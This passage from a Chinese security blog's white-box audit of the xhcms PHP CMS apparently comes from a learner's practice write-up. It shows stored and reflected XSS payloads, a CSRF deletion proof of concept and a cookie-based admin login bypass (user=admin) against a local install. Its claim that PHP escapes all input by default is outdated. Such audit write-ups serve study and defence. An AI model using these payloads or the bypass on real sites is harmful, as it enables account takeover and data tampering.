那么问题究竟在哪里?上网搜索,有师傅给出的解释是addlashes()函数主要是用于防范sql注入,对xss过滤基本没有效果,但具体原因没有说明,ps:有大师傅知道能讲解一下吗?

查资料搜索addlashes()函数,了解到

1
2
3
4
5
6
7
8
9
10
11
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

因为php会默认对某些预定义符号进行转义处理,因此如果此处再用addlashes()函数处理,会造成二次转义,使防范失效。

在**/seacmseditor/php/controller.php**文件底部,看到:

1
2
3
4
5
6
7
<div class="form-group">
<label class="col-lg-4 control-label">广告一</label>
<div class="col-lg-8">
<textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea>

</div>
</div>

构造payload:

1
<textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea>

闭合<textarea》标签即可:

payload:

1
</textarea><script>alert('hahhahahaa')</script>

成功弹窗!因为此处和后端数据库存在交互,所以是一个存储型xss

那么同样的原理,在前面我们找到过的sql注入点附近,似乎都只是进行了这样简单的过滤,是不是都存在这样的xss呢?

测试一下:

/admin/files/editcolumn.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$columnopen='class="open"';
$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
1
2
3
4
5
6
7
8
9
10
11
12
<div class="col-lg-8">
<input name="name" type="text" class="form-control" value="<?php echo $nav['name']?>">
</div>
</div>
<?php if ($type<>2){?>
<div class="form-group">
<label class="col-lg-4 control-label">链接</label>
<div class="col-lg-8">
<input name="link" type="text" class="form-control" value="<?php echo $nav['link']?>" >
</div>
</div>
<?php }?>

同样的输入同样的输出,只是这里多了个id和type来进入sql操作,payload打一打:

GET:

1
http://127.0.0.1/admin/?r=editcolumn&type=1&id=1

POST:

1
name=</textarea><script>alert('xss1')</script>&link=</textarea><script>alert('xss2')</script>&keywords=</textarea><script>alert('xss3')</script>&description=</textarea><script>alert('xss4')</script>&px=</textarea><script>alert('xss5')</script>&xs=0&content=<p>&nbsp;请在后台栏目设置编辑这里的内容</p>&save=1

成功弹窗!数据库交互存储型xss

同样的方法,测试出在

/admin/files/editsoft.php
/admin/files/edittwz.php
/admin/files/imageset.php

等等文件中都存在存储型xss,还有一些前面sql注入测试中提到的文件都存在同样的问题,这里就不提了。

反射型xss
/files/contact.php

files/contact.php 12~15行

1
2
3
4
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";

这里的$page经过addslashes()函数处理一次带入了页面,经典问题。直接传payload打一打(因为addlashes()函数过滤,所以payload中不再使用单双引号,改用正斜杠):payload:

1
http://127.0.0.1/?r=contact&page=<script>alert(/xss/)</script>

成功弹窗,因为这里没有和数据库的交互,所以只是一个反射型的xss漏洞。

fiels/download.php
1
2
3
4
5
6
7
8
9
10
11
12
13
$yemas=$_GET['page'];
if ($yemas<>""){
$yema=" - 第 $yemas 页";
}else{
$yema="";
}
$pageyema="r=".$navs['link']
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $navs['name']?><?php echo $yema ?> - <?php echo $info['name']?></title>

$yema变量未过滤,直接拼接输出,xss打一打:

1
http://127.0.0.1/?r=download&page=</title><script>alert('hahahha')</script>

成功弹窗

我白盒审计出的xss漏洞就这些了。

五、csrf

1
2
3
4
5
6
7
8
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=softlist'</script>";
exit;
}
?>

未经任何过滤检验,也没有执行token验证,可以执行csrf攻击,尝试:

点击删除,并抓包:

用burp自带工具一键生成一个poc利用一下:

换个浏览器访问:

可以看到,已经成功删除了!

除了这里,在

admin/files/wzlist.php
admin/files/softlist.php
admin/files/commentlist.php
admin/files/commentlist.php

等文件中也存在同样的漏洞问题,同样的利用方式。

六、越权

/inc/checklogin.php

在进入到管理员首页时,首先会检测是否是登录的状态,而判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。显然,这种是有缺陷的。我们直接在cookie中添加user=admin即可进行登录

总结

至此xhcms白盒审计就结束了,这个cms不愧是传说中极其适合新手审计的目标,简直是“漏洞百出”,哈哈。

审计过程中,seay审计工具给了很大帮助,很多简单的 注入漏洞直接就报警给出来了。不过也有一些误报,就是那些利用线长一些的变量,就需要我们自己去自习寻根问源了。在审计中,遇到了不少问题,一些漏洞不再是就在几行代码中就能找到,并加以利用,而是要寻根上朔,一步步把它理清,这对我养成精心看代码的习惯有很大帮助。

不过这个cms的审计就像师傅们说的一样,简单,适合新手,但像这个cms中一样简单的sql注入之类的漏洞现在几乎稀少到不可见了,因此,下一步就要更进一步,学习审计框架之类来进行提升。

文章作者: uf9n1x
文章链接: https://uf9n1x.top/2023/04/16/dai-ma-shen-ji-er-xhcms-dai-ma-shen-ji/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog